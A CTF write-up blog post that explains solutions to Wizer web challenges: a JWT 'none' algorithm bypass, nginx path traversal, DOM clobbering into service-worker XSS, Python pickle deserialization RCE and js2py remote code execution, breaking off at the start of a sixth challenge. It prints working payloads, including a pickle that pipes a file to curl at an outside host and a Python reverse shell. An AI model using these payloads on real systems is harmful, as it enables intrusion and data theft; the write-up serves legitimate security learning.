Last week I was able to participate at a wonderful CTF organized over at Wizer. This CTF consisted of 6 web challenges in varying difficulty where participants were challenged to a Blitz speed-hacking competition of who can solve the most in 6 hours very generous prizes for the top 3.
I managed to secure 4th place at the end of the CTF! I solved all 6 challenges of which you can see my writeups below, but unfortunately I was a bit slower and the top 3 spots where taken before I managed to finish.
BUT luckily for me due to a confusion in the scoring system there was a difficulty on deciding who earned second place between the 2nd and 3rd player, due to the weird and maybe inconvenient way of how scoring was being calculated. Thus Wizer decided in order to be fair to both participants that they would award both 2nd and 3rd place as if they both earned 2nd place. Luckily for me this makes me take the 3rd place and go home with $100, which honestly an outcome I did not expect! Thanks Wizer and PinkDraconian for organizing such an event.
Below you can see the writeups for all 6 challenges. The challenges are still active on their respective urls, so I also urge you to try them on your own!
Get the flag!
app.js
const express = require('express');
const jwt = require('jsonwebtoken');
const bodyParser = require('body-parser');
const app = express();
app.use(bodyParser.json());
const SECRETKEY = process.env.SECRETKEY;
// Middleware to verify JWT token
// This API will be used by various microservices. These all pass in the authorization token.
// However the token may be in various different payloads.
// That's why we've decided to allow all JWT algorithms to be used.
app.use((req, res, next) => {
const token = req.body.token;
if (!token) {
return res.status(401).json({ message: 'Token missing' });
}
try {
// Verify the token using the secret key and support all JWT algorithms
const decoded = jwt.verify(token, SECRETKEY, { algorithms: ['HS256', 'HS384', 'HS512', 'RS256', 'RS384',
'RS512', 'ES256', 'NONE', 'ES384', 'ES512',
'PS256', 'PS384', 'PS512'] });
req.auth = decoded;
next();
} catch (err) {
return res.status(403).json({ message: 'Token invalid' });
}
});
// API route protected by our authentication middleware
app.post('/flag', (req, res) => {
if (req.auth.access.includes('flag')) {
res.json({ message: 'If you can make the server return this message, then you've solved the challenge!'});
} else {
res.status(403).json({ message: '🚨 🚨 🚨 You've been caught by the access control police! 🚓 🚓 🚓' })
}
});
app.listen(3000, () => {
console.log(`Server is running on port 3000`);
});
In order for us to get the flag we need to visit the /flag
endpoint
The /flag
endpoint has to be requested via a POST
request and in order for us to receive the flag we need req.auth.access
to include the string flag
. That would return If you can make the server return this message, then you've solved the challenge!
Above we can observer a very simple javascript application written with NodeJS using the express framework. The functionality of this application is very limited and we can easily identify the path to the flag.
In order for us to set req.auth
we need to find where it is actually given a value.
This happens in the code snippet below
app.use((req, res, next) => {
const token = req.body.token;
if (!token) {
return res.status(401).json({ message: "Token missing" });
}
try {
// Verify the token using the secret key and support all JWT algorithms
const decoded = jwt.verify(token, SECRETKEY, {
algorithms: [
"HS256",
"HS384",
"HS512",
"RS256",
"RS384",
"RS512",
"ES256",
"NONE",
"ES384",
"ES512",
"PS256",
"PS384",
"PS512",
],
});
req.auth = decoded;
next();
} catch (err) {
return res.status(403).json({ message: "Token invalid" });
}
});
This snippet is a NodeJS middleware.
The middleware in nodejs is a function that will have all the access for requesting an object, responding to an object, and moving to the next middleware function in the application request-response cycle.
Essentially all the above description and diagram are saying is that before any endpoint specific code is run the middleware will run before. Meaning that as the comments just preceding the code says
// Middleware to verify JWT token
// This API will be used by various microservices. These all pass in the authorization token.
// However the token may be in various different payloads.
// That's why we've decided to allow all JWT algorithms to be used.
The above middleware is going to take care of the authorization. The authorization in this application is done using JWT tokens. JWT stands for JSON Web Token and is a method of performing authorization between server and client using cookies or tokens.
// Verify the token using the secret key and support all JWT algorithms
const decoded = jwt.verify(token, SECRETKEY, {
algorithms: [
"HS256",
"HS384",
"HS512",
"RS256",
"RS384",
"RS512",
"ES256",
"NONE",
"ES384",
"ES512",
"PS256",
"PS384",
"PS512",
],
});
req.auth = decoded;
In this application provided token (req.body.token
) is decoded and verified using any of the above user algorithms, by the jwt library in NodeJS.
The format of a jwt token is like below (A dot separates the parts)
The vulnerability of this challenge is that due to the nature of JWT tokens providing themselves an algorithm in the header, it is up to the server to choose if it actually wants to accept that jwt algorithm for verification. There are many JWT verification algorithms and some of them more secure than others. Though one of them that is just straight up not secure is the None
algorithm, it simply generates a token with no signature and should never be used in production, I personally believe that it shouldn't exist at all even for debugging purposes. Hence as we can see this application also accepts to "verify" using the NONE
algorithm.
Thus to solve this challenge let's generate our token with a payload of
{ "access": "flag" }
To do the above I chose to use python to sign my token
import jwt
data = {"access": "flag"}
encoded = jwt.encode(data, None, algorithm="none")
print(encoded)
If we send our now generated token we get
{ "message": "Token invalid" }
Let's analyse our generated token to see why this happened.
# HEADER
$ echo "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0="|base64 -d
{"alg":"none","typ":"JWT"}
# PAYLOAD
$ echo "eyJhY2Nlc3MiOiJmbGFnIn0="|base64 -d
{"access":"flag"}
# SIGNATURE (There is no signature as we are signign with a key of None)
Everything above looks perfect except one small detail...
The above has an alg
key with a value of none
and the Node app is expecting a NONE
algorithm instead (The difference of the two is the casing and is a difference between the two used languages and libraries). To resolve this issue we can simply change our HEADER manually encode to base64 and recombine
$ echo '{"alg":"NONE","typ":"JWT"}'|base64
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0K
Then the combined token would look like this: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0K.eyJhY2Nlc3MiOiJmbGFnIn0.
The above way was very exploratory and I tried to go through every single detail but the best way to do this quickly would probably be using jwt-toolkit
$ jwt-tool eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhY2Nlc3MiOiJmbGFnIn0. -X a
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.6 \______| @ticarpi
Original JWT:
jwttool_0d243ae6458ebf61cb778583069708bf - EXPLOIT: "alg":"none" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhY2Nlc3MiOiJmbGFnIn0.
jwttool_cd224c93d611dc2aca0a624f53ed321a - EXPLOIT: "alg":"None" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJhY2Nlc3MiOiJmbGFnIn0.
jwttool_ee881709175418263bf7b876b56857ba - EXPLOIT: "alg":"NONE" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJhY2Nlc3MiOiJmbGFnIn0.
jwttool_0472aa748a224a054f8a65438813eace - EXPLOIT: "alg":"nOnE" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJuT25FIiwidHlwIjoiSldUIn0.eyJhY2Nlc3MiOiJmbGFnIn0.
The above is using jwt_tool and the None
exploit to generate all possible variations of it including the all caps one we used previously
Through the Sheldon Cooper's flag game website, with the following nginx configuration, get the flag from "flag.html"
nginx.conf
user nginx;
worker_processes 1;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
location / { # Allow the index.html file to be read
root /usr/share/nginx/html;
index index.html;
}
location /assets { # Allow the assets to be read
alias /usr/share/nginx/html/assets/;
}
location = /flag.html { # The flag file is private
deny all;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}
}
The goal of this challenge is to manage to read the flag.html
file.
In this challenge we are given just a simple nginx configuration file
We can see that the location /flag.html is simply set up to deny all requests and won't allow us to read it.
The vulnerability here lies in the way the assets
location is defined.
location /assets { # Allow the assets to be read
alias /usr/share/nginx/html/assets/;
}
This vulnerability is a very common nginx pitfall and is called off-by-slash
(Orange Tsai Path Normalization slide 18)
To exploit this all we need to do is just get the flag checker to go to
https://nginx.wizer-ctf.com/assets../flag.html
Because this path will at the end of the day get normalized to /usr/share/nginx/html/assets/../flag.html
-> /usr/share/nginx/html/flag.html
Which allows us to solve the challenge.
Overall this challenge is very easy to solve with a hacker mindset because you learn to look for such common misconfgurations, but the danger lies there as well as this means it is so easy for a developer to be unaware or simply forget to put a /
and expose the application to LFI
vulnerabilities. Just a singe "/" makes the difference
Inject an alert("Wizer")
server.js
const express = require("express");
const helmet = require("helmet");
const app = express();
const port = 80;
// Serve static files from the 'public' directory
app.use(express.static("public"));
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'", "maxcdn.bootstrapcdn.com"],
workerSrc: ["'self'"],
// Add other directives as needed
},
})
);
// Sample recipe data
const recipes = [
{
id: 1,
title: "Spaghetti Carbonara",
ingredients: "Pasta, eggs, cheese, bacon",
instructions:
"Cook pasta. Mix eggs, cheese, and bacon. Combine and serve.",
image: "spaghetti.jpg",
},
{
id: 2,
title: "Chicken Alfredo",
ingredients: "Chicken, fettuccine, cream sauce, Parmesan cheese",
instructions:
"Cook chicken. Prepare fettuccine. Mix with cream sauce and cheese.",
image: "chicken_alfredo.jpg",
},
// Add more recipes here
];
// Enable CORS (Cross-Origin Resource Sharing) for local testing
app.use((req, res, next) => {
res.header("Access-Control-Allow-Origin", "*");
res.header(
"Access-Control-Allow-Headers",
"Origin, X-Requested-With, Content-Type, Accept"
);
next();
});
// Endpoint to get all recipes
app.get("/api/recipes", (req, res) => {
res.json({ recipes });
});
app.listen(port, () => {
console.log(`API server is running on port ${port}`);
});
To solve this challenge we must pop an alert("Wizer")
This challenge was a rather tricky one as all the source code that was given was just the server file. I looked through the source code multiple times and couldn't really find even some kind of functionality to work with... All the above application does is serve an index file and a json with 2 recipes.
Then I moved into opening it up in the browser and trying to see what exactly was served to the client, because remember we know that we are probably looking for a client-side XSS
.
Upon arriving at the website and inspecting the html source code we see
<!DOCTYPE html>
<html id="filter">
<head>
<title>Recipe Book</title>
<div style="display: none;" id="preferences">
<div id="mode">
<div id="light">#FFFFFF</div>
</div>
</div>
<div style="display: none;" id="sw">cacheManager.js</div>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container">
<h1 class="mt-5">Offline Recipe Book</h1>
<p>This recipe book even works offline!</p>
<!-- Recipe List -->
<div id="recipe-list" class="row">
<div class="col-6" data-recipe-id="1">
<div class="card">
<div class="card-body">
Spaghetti Carbonara
</div>
</div>
</div>
<div class="col-6" data-recipe-id="2">
<div class="card">
<div class="card-body">
Chicken Alfredo
</div>
</div>
</div>
</div>
<div id="recipe-details" class="mt-4"></div>
<script src="app.js"></script>
</body>
</html>
Hence basically the requests from the json endpoint are somehow loaded through from the server into some nice divs. This leads to believe that there is more to the functionality of this website as their must be some javascript used to load them.
The only file in the document tree that we can see is app.js
so let's have a look at it.
// Fetch recipe data from a server (replace with your API endpoint)
function fetchRecipes() {
return fetch("/api/recipes")
.then((response) => response.json())
.then((data) => data.recipes);
}
// Function to populate the recipe list
function populateRecipeList(recipes) {
const recipeList = document.getElementById("recipe-list");
recipeData = "";
recipes.forEach((recipe) => {
recipeData += `
<div class="col-6" data-recipe-id="${recipe.id}">
<div class="card" data-recipe-id="${recipe.id}">
<div class="card-body" data-recipe-id="${recipe.id}">
${recipe.title}
</div>
</div>
</div>
`;
});
recipeList.innerHTML = recipeData;
}
// Dummy function to display a recipe
function displayRecipe(recipe) {
const recipeDetails = document.getElementById("recipe-details");
recipeDetails.innerHTML = `
<h2>${recipe.title}</h2>
<p><strong>Ingredients:</strong> ${recipe.ingredients}</p>
<p><strong>Instructions:</strong> ${recipe.instructions}</p>
<img src="${recipe.image}" alt="${recipe.title}" class="img-fluid" width="200">
`;
}
// Event listener to display recipe details when a recipe is clicked
document.getElementById("recipe-list").addEventListener("click", (event) => {
if (event.target.tagName === "DIV") {
// Get recipe data from the global variable
const recipeId = parseInt(event.target.dataset.recipeId);
const recipe = window.recipes.find((r) => r.id === recipeId);
if (recipe) {
displayRecipe(recipe);
}
}
});
document.addEventListener("DOMContentLoaded", function () {
// Get the "mode" and "color" GET parameters
const searchParams = new URLSearchParams(location.search);
const modeParam = searchParams.get("mode");
const colorParam = searchParams.get("color");
// Update the elements based on GET parameters
if (modeParam !== null) {
document.getElementById("mode").children[0].id = modeParam;
}
if (colorParam !== null && modeParam !== null) {
document.getElementById(modeParam).textContent = colorParam;
}
// Get the mode element
const modeElement = document.getElementById("mode");
if (modeElement) {
// Get the background color element
let backgroundColorElement = document.getElementById("light");
if (backgroundColorElement) {
const backgroundColor = backgroundColorElement.innerText.trim();
// Apply background color
document.body.style.backgroundColor = backgroundColor;
}
backgroundColorElement = document.getElementById("dark");
if (backgroundColorElement) {
const backgroundColor = backgroundColorElement.innerText.trim();
// Apply background color
document.body.style.backgroundColor = backgroundColor;
// Apply CSS inversion if it's a 'dark' mode
document.getElementById("filter").style.filter = "invert(100%)";
}
}
});
// Fetch and populate recipes when the page loads
document.addEventListener("DOMContentLoaded", () => {
fetchRecipes().then((recipes) => {
// Store the fetched recipes in a global variable for later use
window.recipes = recipes;
// Populate the recipe list
populateRecipeList(recipes);
});
// Service worker registration
if ("serviceWorker" in navigator) {
const sw = document.getElementById("sw").innerText;
navigator.serviceWorker
.register("sw.js?sw=" + sw)
.then((registration) => {
console.log(
"Service Worker registered with scope:",
registration.scope
);
})
.catch((error) => {
console.error("Service Worker registration failed:", error);
});
}
});
const channel = new BroadcastChannel("recipebook");
channel.addEventListener("message", (event) => {
alert(event.data.message);
});
There is a lot of functionality to break down here but let's see what are the parts of interest.
Apparently there are some parameters we can pass to the application to adjust theme and color.
// Get the "mode" and "color" GET parameters
const searchParams = new URLSearchParams(location.search);
const modeParam = searchParams.get('mode');
const colorParam = searchParams.get("color");
/ Update the elements based on GET parameters
if (modeParam !== null) {
document.getElementById("mode").children[0].id = modeParam;
}
if (colorParam !== null && modeParam !== null) {
document.getElementById(modeParam).textContent = colorParam;
}
Basically whatever we set in mode is supposed to trigger either light or dark mode for the application and color changes the background color to what we supply. Keep this in mind because we will need it later on.
The other interesting part of the above file is the service worker registration
Service workers are specialized JavaScript assets that act as proxies between web browsers and web servers. They aim to improve reliability by providing offline access, as well as boost page performance.
Essentially all we care for them is they execute and run on javascript
// Service worker registration
if ("serviceWorker" in navigator) {
const sw = document.getElementById("sw").innerText;
navigator.serviceWorker
.register("sw.js?sw=" + sw)
.then((registration) => {
console.log(
"Service Worker registered with scope:",
registration.scope
);
})
.catch((error) => {
console.error("Service Worker registration failed:", error);
});
}
a service worker url is fetched from an element in the document tree with id of sw
which is then passed as a parameter to the sw.js
script
sw.js
// Allow loading in of service workers dynamically
importScripts("/utils.js");
importScripts(`/${getParameterByName("sw")}`);
The above service worker takes the sw parameter
passed from app.js
and calls importScripts() with it
according to the docs it just takes a url that it expects to find a javascript file at and loads it.
Then another very important part to in app.js
is the very end
const channel = new BroadcastChannel("recipebook");
channel.addEventListener("message", (event) => {
alert(event.data.message);
});
BroadcastChannel enables communication between different windows, tabs, or workers within the same origin. postMessage() method will trigger the ‘message’ event on other instances of the BroadcastChannel with the same name.
Thus any message we pass to it will go straight to alert as a parameter. Which if you recall is our end goal to manage to call alert("Wizer")
Ok so if we manage to control the url passed to sw we can communicate with the channel that has been set up and pop an alert()
right?
Well we need to find a way to control the sw endpoint so we somehow need to control the content of a div with in id of sw.
The vulnerability here lies in our ability to clobber the html dom
(dom cloberring) with the two parameters we control mode and color
Actually the exact attack we have to perform here is also documented in a research paper by portswigger
Due to the way we control the id of a div with mode
and its content with color
we can simply request https://events.wizer-ctf.com/?mode=sw&color=https://h8e0icum.requestrepo.com which will result to
Essentially we have clobbered / altered the html DOM to our advantage so that when document.getElementById("sw")
is called our injected element will be returned which contains the url to our attacker controlled server. Nice so in theory if we host
var a = new BroadcastChannel("recipebook");
a.postMessage({ message: "Wizer" });
op the attacker controlled server then we will pop an alert once importScripts
calls it.
Unfortunately we still have a small issue. There is small detail I missed here. when importScripts is called it forces us to use a relative url by starting with a /
At this point I was really stuck during the competition and luckily after a lot of googling I ended up at a post from 2010 at paulirish.com and the whatwg url spec
What the protocol / scheme relative url essentially allows essentially to ignore that scheme part of the url when making a request to it and just put //domain/file.ext
and it will follow the scheme of the currently loaded context and perform a request to the specified domain in order to fetch the file.
Ok we are all set now let's exploit! https://events.wizer-ctf.com/?mode=sw&color=//h8e0icum.requestrepo.com
Not just yet!
Well fortuanetly this is an easy one to solve, just change the response Content-Type
header to text/javascript
and Tada!
At this point one can ask well you have javascript code execution why did you need to go through the whole broadcastchannel thing. Can't you just call alert("Wizer")
in the attacker controlled payload?
Hmm let's give that a shot
alert("Wizer");
ServiceWorker script evaluation failed
But why? Just to prove that this is something specific to alert lets just console.log
before and after it
console.log("BEFORE");
alert("Wizer");
console.log("AFTER");
As you can see we never get the alert
itself executed and the script stops there, hence we don't see the AFTER console logged
The reason the alert
is not working in your Service Worker is because the Service Worker runs in a different context than the main JavaScript thread. Service Workers are designed to be background scripts that handle events like push notifications, background sync, and caching. They don't have direct access to the DOM or user interface elements like alert
.
Using alert
or any other methods that rely on direct interaction with the user in a Service Worker is not a good practice and can lead to issues. Instead, you should consider using the postMessage
API to communicate between your Service Worker and the main thread.
What happens though if we wanted to go further not just pop an alert, literally gain full-blown xss. Let's for a moment think out of the scope of this CTF challenge. Because someone could say that this scenario is unrealistic. Which is kind of true, who leaves a broadcastchannel that listens for messages which it will call alert
on? Let's challenge ourselves to gain full-xss
and actually take control of the victims browser.
Luckily we don't have to really go to far on searching on a solution to this as if we observe the application itself and what usually service workers are used for the solution is literally standing in front of us.
Looking at the initially setup service worker
<div style="display: none;" id="sw">cacheManager.js</div>
cacheManager.js
// Cache name
const cacheName = "recipe-book-cache-v1";
// Files to cache
const cacheFiles = [
"/",
"/index.html",
"/app.js",
"/cacheManager.js",
"/chicken_alfredo.jpg",
"/favicon.ico",
"spaghetti.jpg",
"/sw.js",
"/utils.js",
"/api/recipes",
// Add more files to cache here (e.g., images)
];
// Install event
self.addEventListener("install", (event) => {
event.waitUntil(
caches.open(cacheName).then((cache) => {
// Check if the resource is already in the cache
return Promise.all(
cacheFiles.map((file) => {
return caches.match(file).then((response) => {
if (!response) {
// If not in cache, add it
return cache.add(file);
}
});
})
);
})
);
});
// Fetch event
self.addEventListener("fetch", (event) => {
event.respondWith(
caches.match(event.request).then((response) => {
// Return cached response if found; otherwise, fetch from the network
return response || fetch(event.request);
})
);
});
self.addEventListener("activate", (event) => {
clients.claim();
});
Get the flag and then submit it here (https://wec5ls.wizer-ctf.com/submit_flag/) to win the challenge!
app.py
from flask import Flask, request, render_template
import pickle
import base64
app = Flask(__name__, template_folder='templates')
real_flag = ''
with open('/flag.txt') as flag_file:
real_flag = flag_file.read().strip()
class Profile:
def __init__(self, username, email, bio):
self.username = username
self.email = email
self.bio = bio
@app.route('/profile', methods=['GET', 'POST'])
def profile():
if request.method == 'POST':
username = request.form.get('username')
email = request.form.get('email')
bio = request.form.get('bio')
if username and email and bio:
profile = Profile(username, email, bio)
dumped = base64.b64encode(pickle.dumps(profile)).decode()
return render_template('profile.html', profile=profile, dumped=dumped)
load_object = request.args.get('load_object')
if load_object:
try:
profile = pickle.loads(base64.b64decode(load_object))
return render_template('profile.html', profile=profile, dumped=load_object)
except pickle.UnpicklingError as e:
return f"Error loading profile: {str(e)}", 400
return render_template('input.html')
@app.route('/submit_flag/<flag>', methods=['GET'])
def flag(flag):
return real_flag if flag == real_flag else 'Not correct!'
if __name__ == '__main__':
app.run(debug=True)
For this challenge we must somehow read the flag file, so we must gain RCE
Well the functionality of this application is very limited all we can do is dump
our profile or load it, with python's pickle
module
What happens in this application is serialization
Serialization : Serialization is a mechanism of converting the state of an object into a byte stream, JSON, YAML, XML. JSON and XML are two of the most commonly used serialization formats within web applications. Deserialization : It is the reverse process where the byte stream is used to recreate the actual object in memory.
The vulnerability in this application is when it deserializes untrusted data. Due to the nature of this functionality having to essentially reconstruct an object using pickle.loads
it has to end up evaluating
some stuff and there is some of the provided object code being executed along the way.
Let's read the docs on pickle for it
Sidenote: A very obvious warning can be seen for pickling untrusted data just at the top of the docs page
⚠️ The
pickle
module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.
Scrolling through the docs it is obvious what our target exploit should look like
The __reduce__()
method takes no argument and shall return either a string or preferably a tuple (the returned object is often referred to as the “reduce value”). […] When a tuple is returned, it must be between two and six items long. Optional items can either be omitted, or None can be provided as their value. The semantics of each item are in order:
To exploit this we can simply construct / serialize a malicious pickle that we have __reduce__
implemented for
import os
import pickle
import base64
class Profile:
def __reduce__(self):
return (os.system, ("cat /flag.txt",))
profile = Profile()
dumped = base64.b64encode(pickle.dumps(profile)).decode()
print(dumped)
If we supply that to the server https://dsw3qg.wizer-ctf.com/profile?load_object=gASVKAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA1jYXQgL2ZsYWcudHh0lIWUUpQu
We then observe that nothing really happens. The reason is that here we are kind of blind to the outcome of the deserialization RCE itself. To manage and exfiltrate this sucessfully we will have to employ an OOB technique(Out Of Band), which is just fancy words for we will just send the flag to a server and read it from there
hence our new payload becomes
import os
import pickle
import base64
class Profile:
def __reduce__(self):
# upload /flag.txt to the server
return (os.system, ("cat /flag.txt | curl -d @- h8e0icum.requestrepo.com",))
profile = Profile()
dumped = base64.b64encode(pickle.dumps(profile)).decode()
print(dumped)
Using the above we can then exfiltrate the flag via a post request and read it from our attacker controlled server.
Another simple thing we can do for blind vulnerabilities is essentially gain a reverse shell on the target machine.
In addition since we know that we will definetly find python on the target machine, it would be best to choose to use a python reverse shell to avoid dependency on anything else.
Payload generation
import os
import pickle
import base64
class Profile:
def __reduce__(self):
return (os.system, ("""export RHOST="ngrok_url";export RPORT=9001;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'""",))
profile = Profile()
dumped = base64.b64encode(pickle.dumps(profile)).decode()
print(dumped)
Attacker listener
rlwrap cn -lnvp 9001
which then grants as a wonderful shell!
Get the flag and then submit it here (https://wec5ls.wizer-ctf.com/submit_flag/
app.py
from flask import Flask, request, jsonify
from itertools import chain
from urllib.parse import unquote
from ast import literal_eval
import pyjsparser.parser
import js2py
import traceback
import requests
class Api:
def hello(self, name):
return f"Hello {name}"
def eval_js(self, script, es6):
js = requests.get(script).text
return (js2py.eval_js6 if es6 else js2py.eval_js)(js)
app = Flask(__name__)
api = Api()
real_flag = ''
with open('/flag.txt') as flag_file:
real_flag = flag_file.read().strip()
@app.route('/api/<func>', methods=['GET', 'POST'])
@app.route('/api/<func>/<args>', methods=['GET', 'POST'])
def rpc(func, args=""):
try: # Setup and logging for security
pyjsparser.parser.ENABLE_PYIMPORT = True
ip = request.remote_addr
client = ip if ip != '127.0.0.1' else ip.local
app.logger.debug(f"Request coming from {client}")
pyjsparser.parser.ENABLE_PYIMPORT = False
except Exception as exc:
jsonify(error=str(exc), traceback=traceback.format_exc()), 500
args = unquote(args).split(",")
print(args)
if len(args) == 1 and not args[0]:
args = []
kwargs = {}
for x, y in chain(request.args.items(), request.form.items()):
kwargs[x] = unquote(y)
try:
response = jsonify(getattr(api, func)(
*[literal_eval(x) for x in args],
**{x: literal_eval(y) for x, y in kwargs.items()},
))
except Exception as exc:
response = jsonify(error=str(exc), traceback=traceback.format_exc()), 500
return response
@app.route('/submit_flag/<flag>', methods=['GET'])
def flag(flag):
return real_flag if flag == real_flag else 'Not correct!'
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True)
Well as you can see there isn't a "magic" condition to give us the flag so we probably have to gain RCE in order to read the file.
The above application has no front-end at all it is only an API
that can run any of the two functions
Before analyzing the code any further manually, I took more of a dynamic testing approach. I tried to test the baseline functionality just to ensure that I have understood the applications core functionalities and how this whole api was supposed to work.
Hmm not what I expected
That looks more like it, but now what?
Well I don't think by greeting a bunch of names we are getting the flag so let's move on.
def eval_js(self, script, es6):
app.logger.debug(f"Fetching {script}")
js = requests.get(script).text
app.logger.debug(f"Executing {js}")
res = (js2py.eval_js6 if es6 else js2py.eval_js)(js)
app.logger.debug(f"Result: {res}")
return res
The above function is essentially a wrapper of the js2py eval_js function
, more evals
yay... Ok lets have a look on what that library does. It seems to be a nice translation layer of javascript to python. All it does is it makes a request to a provided url and then passes the contents of the url to eval_js
. Ok should be simple then let's read the flag with javascript and get done with it.
Before we do that though as always let's do a basic functionality check again. Let's just return "test"
h8e0icum.requestrepo.com
"test";
GET /api/eval_js/'http:%25%32%66%25%32%66h8e0icum.requestrepo.com',False
Remember we have to double url-encode the slashes of our url and also pass False to the es6
as that specification is experimental for js2py
and will download babel for every request...
OK base test done
Easy then lets just return the contents of the flag file
const fs = require("fs");
console.log(fs.readFileSync("/flag.txt", "utf8"));
send it and ...
{ "error": "ReferenceError: require is not defined" }
Okay this makes sense because if we read the docs
The above clearly isn't done to our instance so let's move on. My next thought was ok no imports allowed, surely this so called programming language must have another way to read files without the use of modules... I was stuck here for a WHILE
. Please ping me if I am wrong but I scattered the internet there is apparently no way to do this without modules. Ok then let's keep reading the docs for any interesting functionality. Scrolling to the very bottom we see
Nice then we can just import python modules and gain rce.
pyimport subprocess; subprocess.check_output(['cat','/flag.txt']).decode();
The above should do it.
let's test locally first so we can see if any errors pop up
Wonderful remote now!
{ "error": "SyntaxError: Line 1: Unexpected token pyimport" }
What? Why?
try: # Setup and logging for security
pyjsparser.parser.ENABLE_PYIMPORT = True
ip = request.remote_addr
client = ip if ip != "127.0.0.1" else ip.local
app.logger.debug(f"Request coming from {client}")
pyjsparser.parser.ENABLE_PYIMPORT = False
except Exception as exc:
app.logger.error(f"Error while setting up: {exc}")
jsonify(error=str(exc), traceback=traceback.format_exc()), 500
The answer is in the above lines of code, which took me a bit of time to understand. What is happening here is: PYIMPORTS
are enabled at the start until the ip-address is checked and if the ip address is 127.0.0.1
then there is an attempt to access ip.local
which doesn't exist as ip
is just a string and it has no local
attribute. This though is the key. Because this causes an exception which avoid the line that disables PYIMPORTS
But how can we make a request from localhost?
This was the second time I had to really think, until it just clicked. Since the eval_js function of the API makes a request to another server in order to read the code to execute, we can simply nest 2 requests together, hence the 2nd one will come from localhost and raise the exception which leaves PYIMPORTS enabled
and we will be able to read the flag.
So the concept is:
request http://server/api/eval_js/'http://127.0.0.1/api/eval_js/"http://h8e0icum.requestrepo.com",False',False
Getting this to work takes a bit of effort because you have to encode the nested payload 4 times and it becomes a mess.
The full payload looks like this
GET /api/eval_js/"http:%25%32%66%25%32%66127.0.0.1%25%32%66api%25%32%66eval_js%252f'http:%25%32%35%25%33%32%25%33%35%25%32%35%25%33%33%25%33%32%25%32%35%25%33%36%25%33%36%25%32%35%25%33%32%25%33%35%25%32%35%25%33%33%25%33%32%25%32%35%25%33%36%25%33%36h8e0icum.requestrepo.com'%25%32%35%25%33%32%25%36%33False",False HTTP/1.1
Host: wec5ls.wizer-ctf.com
Connection: close
Well on this challenge beyond means backwards 😅 . There is something in the code that allows to cut down on some urlencodings...
for x, y in chain(request.args.items(), request.form.items()):
kwargs[x] = unquote(y)
The above is going to create keyword arguments from the arguments passed into our request. Thus following the python function's structure we can have the below
POST /api/eval_js HTTP/1.1
Host: wec5ls.wizer-ctf.com
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 252
script="http://127.0.0.1:5000/api/eval_js/'http:%25%32%35%25%33%32%25%33%35%25%32%35%25%33%33%25%33%32%25%32%35%25%33%36%25%33%36%25%32%35%25%33%32%25%33%35%25%32%35%25%33%33%25%33%32%25%32%35%25%33%36%25%33%36h8e0icum.requestrepo.com',False"&es6=False
A bit better now but still we have to encode the inner one 4 times...
Get the flag!
const express = require("express");
const app = express();
const bodyParser = require("body-parser");
const handlebars = require("express-handlebars");
const puppeteer = require("puppeteer");
const ssrfFilter = require("ssrf-req-filter");
const axios = require("axios");
const dns = require("dns");
// Use Handlebars as the view engine
app.engine("handlebars", handlebars.engine());
app.set("view engine", "handlebars");
// Middleware
app.use(bodyParser.json());
app.use(express.static("public"));
// Routes
app.get("/", (req, res) => {
res.render("index");
});
app.post("/generate", async (req, res) => {
const name = req.body.name;
const data = `
<!DOCTYPE html>
<html>
<head>
<title>Evaluation Corp Certificate of Support</title>
</head>
<body style="font-family: Arial, sans-serif; text-align: center;">
<div style="border: 2px solid #3498db; padding: 20px; max-width: 600px; margin: 0 auto;">
<h1 style="color: #3498db;">Certificate of Support</h1>
<p>This is to certify that</p>
<h2 style="color: #333;">${name}</h2>
<p>Has shown outstanding support and dedication to</p>
<h3 style="color: #333;">Evil Corp</h3>
<p>on this day,</p>
<p style="color: #333;">${new Date(
"August 1, 2024"
).toLocaleDateString("en-US", {
year: "numeric",
month: "long",
day: "numeric",
})}</p>
<p>By contributing their time and expertise, ${name} has made a significant impact on the success of Evil Corp.</p>
<p>Thank you for your unwavering support.</p>
<p style="font-size: 18px;">Authorized Signature:</p>
